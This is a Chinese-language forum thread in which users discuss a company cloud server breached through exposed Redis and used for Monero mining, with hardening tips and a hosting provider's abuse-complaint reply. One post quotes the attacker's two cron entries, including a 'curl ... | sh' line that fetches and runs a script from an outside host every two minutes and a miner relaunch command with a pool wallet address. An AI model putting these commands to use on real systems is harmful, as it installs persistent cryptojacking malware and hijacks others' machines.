今天发现公司的阿里云服务被黑了,被安装了 yam 来挖矿

[wraith4]

应该是利用 redis 漏洞入侵，加了定时任务，每 2 分钟请求 https://r.chanstring.com/api/report?pm=1 这个地址，脚本写的不错。执行挖矿程序后导致 cpu 和带宽 100%， kill 进程会自动重启。
解决方案： http://www.cnblogs.com/red-code/p/5599393.html
和这个有些差异，最后要修补redis漏洞。

[stanjia]

脚本写的不错! 发来看看 怎么写的

[wraith4]

@stanjia 直接访问那个地址啊

[stanjia]

@wraith4 哈哈哈哈哈

[aprikyblue]

502 Bad Gateway

[tomczhen]

所以说你们公司的 redis 可以公网访问？

[realpg]

这个服务器是不是跑 jboss 的……笑……

[fy]

所以脚本是怎么写的。。

[iyangyuan]

redis 一般是放在内网的

[coolloves]

放出来参考下吧

[eoo]

shell

[Jaylee]

redis 未授权访问的漏洞都这么长时间了还不修复。。。活该被黑啊

[fcicq]

没勒索数据的就是良心黑客了, 赶紧偷笑去吧.

[hard2reg]

我只是想偷偷挖个矿。。。

[Gua]

@hard2reg 还被发现了…

[j4fun]

没有觉得写的多好啊、、、

[vus520]

公司内网的测试机也这样被爆过，重要文件被打包加密然后删除了目录。
要勒索 N 个比特币，我 TM 有这么多比特币还在这陪你玩？最后重装服务器搞定 。

[ipconfiger]

1, 到手注入公钥后立马关掉密码登录
2, 除了 http 外的所有服务都不要开公网访问
能做到着两点的话, 基本安全无虞

[notgod]

2 天前中招, r.chanstring.com 解析在 DO 的 IP
在 digitalocean 投诉过 说处理 都 2 天了 这机器竟然还他妈在线
https://i.niupic.com/images/2016/06/20/OBjiiQ.jpg

会加 2 条定时任务

*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh
*/2 * * * * ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[e-mail]:6666/xmr &


官方回
Hey there,

Thank you for your response.

Thank you for submitting your abuse complaint. One of our support engineers has picked it up and assigned it to the customer in question and it will be resolved as soon as possible.

Looking forward to hearing from you if you have any other questions or require any further assistance.

Thank you!
Jeff Elliott
Trust & Safety Specialist
DigitalOcean Support

然后就没下文了

[notgod]

这个国人干的事
登录 IP 是阿里云的

[glogo]

redis 居然可以公网访问....